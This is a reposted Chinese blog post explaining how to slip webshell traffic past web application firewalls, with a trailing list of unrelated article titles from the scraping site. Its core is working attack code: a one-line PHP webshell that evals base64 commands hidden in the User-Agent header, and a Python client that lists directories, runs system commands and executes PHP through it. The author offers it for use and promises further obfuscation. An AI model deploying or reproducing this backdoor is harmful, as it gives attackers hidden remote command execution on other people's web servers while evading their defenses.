绕过WAF检测WebShell通信
来源:互联网 发布:知乎玲珑邪僧 编辑:程序博客网 时间:2024/05/17 06:07
最近换了工作,在新的环境里感觉棒棒哒~
前一段在老公司要离职的时候事情比较少,就研究了下如何绕过市面上目前一些主流的WAF防护。针对WebShell的防护目前不管是硬件WAF还是云WAF都是基于特征通信进行防护,比如上传的时候或者返回的时候。根据我所了解的多家厂商主要还是基于GPC和Response进行防护,对于其他一些的敏感请求就有所忽略。基于这点写了一个简单的PHP WebShell和客户端,目前可以绕过市面上份额比较靠前的几家硬件WAF以及绝大多数云WAF(别听我瞎说)。原理比较简单一看就懂,主要还是针对通信做了点小手脚,属于比较low的奇技淫巧。东西比较糙后面会针对客户端进行功能拓展以及对WebShell进行加密混淆。
先来看看WebShell的写法:
<?php$cmd=base64_decode($_SERVER['HTTP_USER_AGENT']);@eval("$cmd;");?>然后是客户端:
#/usr/bin/env python# coding=gbkimport sysimport httplib2import base64if len(sys.argv) <2 : print 'Usage:python client.py http://127.0.0.1/shell.php 1' print 'Help:' print '1 : 列出程序目录' print '2 : 执行命令' print '3 : 执行PHP代码' sys.exit()def execcmd(name,command): shell = sys.argv[1] try: h = httplib2.Http() encodecmd = base64.b64encode(command) response,content = h.request(sys.argv[1],headers={'User-Agent':encodecmd}) print '%s: %s' %(name,content) except: print '无法执行相关请求!'def main(): if '1' in sys.argv[2]: command = 'echo dirname(__FILE__)' execcmd('本程序目录',command) elif '2' in sys.argv[2]: print 'example: whoami' command = 'system(%s)' %(raw_input('请输入命令:')) execcmd('结果回显',command) elif '3' in sys.argv[2]: print 'example: echo 123' command = raw_input('请输入代码:') execcmd('结果回显',command) else: sys.exit() if __name__ == '__main__': main()最后来张绕过某WAF的图:
0 0
- 绕过WAF检测WebShell通信
- 常见 Webshell 的检测方法及检测绕过思路
- waf 绕过测试工具
- wAF绕过测试
- 绕过WAF学习整理
- sqlmap tamper绕过WAF
- 加密隧道绕过WAF
- WAF绕过笔记
- WAF绕过参考资料
- 浅谈WAF绕过技巧
- 浅谈WAF绕过技巧
- 如何使用SQLMap绕过WAF
- 绕过WAF进行sql注入
- 如何使用SQLMap绕过WAF
- 如何使用SQLMap绕过WAF
- 一些绕过waf的笔记
- 一些绕过waf的手段
- sql注入中的WAF绕过
- sqlite关于The database disk image is malformed问题的解决
- vector--list--deque对比
- IE下使用uploadify上传报:Uploadify-Script5007 Object expected
- Qt数据库之数据库和驱动
- 人类是怎么一步一步地教会机器说人话的?告诉你语音合成技术的前世今生
- 绕过WAF检测WebShell通信
- 【storm kafka】RROR fetching topic metadata for topics [Set(order)] from broker [ArrayBuffer(id:0,host
- 从头思考并查集
- 搭建基于GTID的复制方式
- Halcon-Matlab 图像匹配
- [cocos2dx]在windows7下搭建Cocos2D-X win32开发环境
- STL容器类map学习
- [python]糗百热点爬虫
- 整数转换成罗马数字